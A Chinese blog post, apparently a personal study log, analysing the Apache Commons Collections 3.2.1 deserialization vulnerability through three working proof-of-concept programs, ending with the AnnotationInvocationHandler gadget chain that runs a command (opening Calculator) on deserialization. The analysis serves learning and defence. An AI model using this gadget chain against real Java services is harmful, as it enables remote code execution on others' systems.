whip1ash

Apache Commons Collections反序列化漏洞分析 - 从0开始学习Java反序列化 (3)

2018-11-11

0x01 一支穿云箭,千军万马来相见

天地合我,我合天地,神人赴我,我赴神人,精氣合全,神氣合群,杳杳冥冥,天地濟主,聞呼即至,聞召即臨,焚香召請,功曹使者,遞奏神員,聞今召請,速赴壇前。仰頭傳香,拜請九天玄女,歷代流旅尊師,合諸仙眾,下赴壇前,有事相請,速去速來,明彰報應。
– 诸天神咒

此篇文章由浅入深,不能算是教程了,只能算是个人学习的一个log,但是还是希望把这篇东西分享出来。

0x02 一切先从POC开始

首先配置一下环境,特别简单,只需要给项目添加Maven就行了。
-w598

在这里面选择Maven就行了。我这里用的3.2.1版本的commons-collections,pom.xml如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>

<groupId>Apache_commoms</groupId>
<artifactId>Apache_Commons_Collections1</artifactId>
<version>1.0-SNAPSHOT</version>

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
</project>

先来看一个简单的POC.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
public class commom_collection {

public static void main(String[] argv) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
// 0x01
new ConstantTransformer(Runtime.class),
// 0x02
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};
//0x03
Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform(chain);
}
}

这里有看起来非常眼熟的几个关键字,getMethod,invoke,exec。好像是在使用反射做一些事情,一点一点跟进去看看。

0x01 org.apache.commons.collections.functors.ConstantTransformer

看一下这个类的构造方法,还有transform方法(后面用的到)。

-w1059

构造方法将传进来的对象赋值给iConstant属性,transform返回了构造方法保存的对象。

0x02 org.apache.commons.collections.functors.InvokerTransformer

-w1568

这个看起来简直太熟悉了,构造方法把传进来的方法名,参数类型和参数赋给InvokerTransforme的几个属性,transform中分别通过反射进行调用。反射这一点可以看我上一篇的代码注释。

0x03 org.apache.commons.collections.functors.ChainedTransformer

-w994

这几个方法都比较简单,在这里,构造方法将数组赋给iTransformers属性,然后transform方法遍历数组中的每一个对象的transform方法,将数组中上一个transform方法返回的对象再当做参数传入到下一个对象的transform方法中。这里有点绕,debug一下就能很简单的看出来。

0x04 为什么这样就能成功执行呢

上一篇我已经比较详细的写过一些反射的Demo,在Runtime的那个Demo里,用了一个比较简单的方法来调用Runtime这个单例模式下的类。但在这里存在一些限制,把ConstantTransformerInvokerTransformer的逻辑整合一下,如下面的代码所示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import java.lang.reflect.Method;

public class limit {
public static void main(String[] args) throws Exception{

Object constantToReturn = "A User Input Object";
//名称
String iMethodName = "A Method Name";
//参数类型
Class[] iParamTypes = new Class[]{};
//参数
Object[] iArgs = new Object[]{};

Class cls = constantToReturn.getClass();
Method method = cls.getMethod(iMethodName,iParamTypes);
object = method.invoke(constantToReturn,iArgs);

.......进入循环

}
}

实现一下这个需求,代码如下所示,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.lang.reflect.Method;

public class reflact_runtime {
public static void main(String[] argv) throws Exception{
Object object = Runtime.class;
Class cls = object.getClass();

Method method = cls.getMethod("getMethod", String.class, Class[].class);
object = method.invoke(object,"getRuntime",new Class[0]);

cls = object.getClass();
method = cls.getMethod("invoke",Object.class, Object[].class);
object = method.invoke(object,null,new Object[0]);

cls = object.getClass();
method = cls.getMethod("exec",String.class);
object = method.invoke(object,"open /Applications/Calculator.app");
}
}

代码原理如时序图所示(第一次画时序图,感觉画的不是很好)

更:上面的写法确实有些麻烦了,这里可以直接获取getRuntime方法,代码如下

1
2
3
4
Object obj = Runtime.getRuntime();
Class cls = obj.getClass();
Method method = cls.getMethod("exec",String.class);
method.invoke(obj,"open /Applications/Calculator.app");

所以上面的POC可以变成如下形式

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class commom_collection {

public static void main(String[] argv) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(java.lang.Runtime.getRuntime()),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);
chain.transform(chain);
}
}

0x03 第二个POC

刚才的POC有点简单,可能没有人会在最后直接调用ChainedTransformer.transform,看一下第二个POC。

0x01 小二,上POC!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Iterator;
import java.util.Map;
import java.util.Set;

public class cc_poc2 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

Map innerMap = new HashMap();
innerMap.put(null,null);

Map outerMap = TransformedMap.decorate(innerMap,null,chain);

Set set = outerMap.entrySet();

Iterator localIterator = set.iterator();

Map.Entry localEntry = (Map.Entry) localIterator.next();

localEntry.setValue(null);

}

}

0x02 一些基础资料

这里列一下上面代码相关的一些知识点,供Java基础不太好的同学自行选择

0x03 分析时的注意事项以及时序图

花了大概一两个小时的时间画了个时序图,下面的时序图是从poc的Map innerMap = new HashMap();开始的。Hashmap以上的分析在第一个poc中已经详细涉及到了。

分析代码的时候主要注意内部类属性中值的传递,比如,好几个内部类中都有parent属性,以及最初的valueTransformer属性。

-w1296

0x04 伏笔

在分析完POC2后,可以仔细的看看其中的AbstractInputCheckedMapDecorator$MapEntry这个类,如果上面的代码都分析清楚的话,分析这个类并不是很复杂,只需要重点看一下MapEntry父类AbstractMapEntryDecoratorgetKey()getValue()方法即可。会发现这两个方法获得的其实是上面Hashmap(变量innerMap)添加的键值对。

0x04 第三个POC

当看到第二个POC的时候有的同学可能会想,真实情况可能也没有人这么写,因为太蠢了。是的,第二个POC就是把真是情况的代码中的调用过程给拆开了,快要触及到问题的本质了。

0x01 喝完这一杯,还有一杯

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.lang.annotation.Retention;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;


public class cc_poc3 {
public static void main(String[] args) throws Exception{
Transformer[] transformers_exec = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"open /Applications/Calculator.app"})
};

Transformer chain = new ChainedTransformer(transformers_exec);

HashMap innerMap = new HashMap();
innerMap.put("value","asdf");

Map outerMap = TransformedMap.decorate(innerMap,null,chain);

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);

Object ins = cons.newInstance(java.lang.annotation.Retention.class,outerMap);

ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(ins);
oos.flush();
oos.close();

ByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());
ObjectInputStream ois = new ObjectInputStream(bais);
Object obj = (Object) ois.readObject();
}
}

这个POC细心的同学会发现在一个细微的地方有所不同。这里的Hashmap添加了一个key"value"value"asdf"的键值对,而不是像第二个poc里,直接添加一个空的键值对。这个地方在后面会说到,这里key的值必须是字符串"value",而value的值,只要不为java.lang.annotation.RetentionPolicysun.reflect.annotation.ExceptionProxy类的对象就可以。

0x02 sun.reflect.annotation.AnnotationInvocationHandler

java有一个特征,不管经过几层封装,封装成什么类型,最终在readObject的时候,都会按照被封装的倒序去执行readObject。(ps:这是一段极其抽象的话,为了解释这段抽象的话,我画了一个看起来很抽象的画,在下师从抽象派大师梵高)

即使最后是读者们执行readObject,最后也会一层一层到上帝来执行readObject

正因如此,为了触发反序列化漏洞,必须存在一个类,接收Map对象,并且在反序列化的时候会触发setValue方法。
sun.reflect.annotation.AnnotationInvocationHandler满足上述需求,并且是JRE原生的类,不需要第三方的支持。由于AnnotationInvocationHandler这个类是包访问权限,所以无法直接访问,需要通过反射调用。

这里就不画图了,代码也比较简单。
可以看到刚开始就调用了AnnotationInvocationHandler的构造函数,传入了两个参数,一个是java.lang.annotation.Retention.class,还有我们的outerMap

1
2
3
4
5
6
7
8
9
10

AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}

构造函数把java.lang.annotation.Retention.class赋值给type属性,把outerMap赋值给mamberValues属性。然后就没有了,我们看看readObject方法。由于反编译的变量名都没有意义,我这里找了一份源码。注意,只有在jdk小于等于1.7的时候AnnotationInvocationHandler是调用了setValue的!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void readObject(ObjectInputStream paramObjectInputStream)
throws IOException, ClassNotFoundException {
paramObjectInputStream.defaultReadObject();
AnnotationType localAnnotationType = null;
try {
localAnnotationType = AnnotationType.getInstance(this.type);
} catch (IllegalArgumentException localIllegalArgumentException) {
return;
}
Map localMap = localAnnotationType.memberTypes();
Iterator localIterator = this.memberValues.entrySet().iterator();
while (localIterator.hasNext()) {
Map.Entry localEntry = (Map.Entry) localIterator.next();
String str = (String) localEntry.getKey();
Class localClass = (Class) localMap.get(str);
if (localClass != null) {
Object localObject = localEntry.getValue();
if ((!(localClass.isInstance(localObject)))
&& (!(localObject instanceof ExceptionProxy)))
localEntry.setValue(new AnnotationTypeMismatchExceptionProxy(
localObject.getClass() + "[" + localObject
+ "]")
.setMember((Method) localAnnotationType
.members().get(str)));
}
}
}

在该方法的一开始,就获取了this.type的实例,也就是java.lang.annotation.Retention.class。然后调用该实例的memberTypes()方法,获得一个Map。(var3就是localMap)

下面的行代码就很熟悉了,获取传入的的迭代器,然后hasNext()判断是否有下一个节点,如果有的话就执行next()方法。因为这里就是POC中的outerMap,所以这里为true。在执行next方法后,可以发现在上面0x03的0x04中提到的伏笔,这里的getKey()就是获取了POC3中innerMap所添加键值对的key,值为"value"(有点绕),赋值给变量str。然后localMap通过get()方法获取key等于"value"的键值对的值,也就是上图框中的value,也就是class java.lang.annotation.RetentionPolicy。然后判断获得的Class是否为空,再获取localEntry的值,也就是字符串"asdf"。判断localObject是否是localClass的实例,很明显不是,并且判断localObject是否是ExceptionProxy的实例,很明显也不是。所以往下执行,setValue()!

0x05 废话

本文太长,累了,说不动废话了。
感觉hexo的图片加载特别慢,需要一个图床了,有空看看有没有什么好办法。

一支穿云箭 千军万马来相见
两副忠义胆 刀山火海提命现

扫描二维码,分享此文章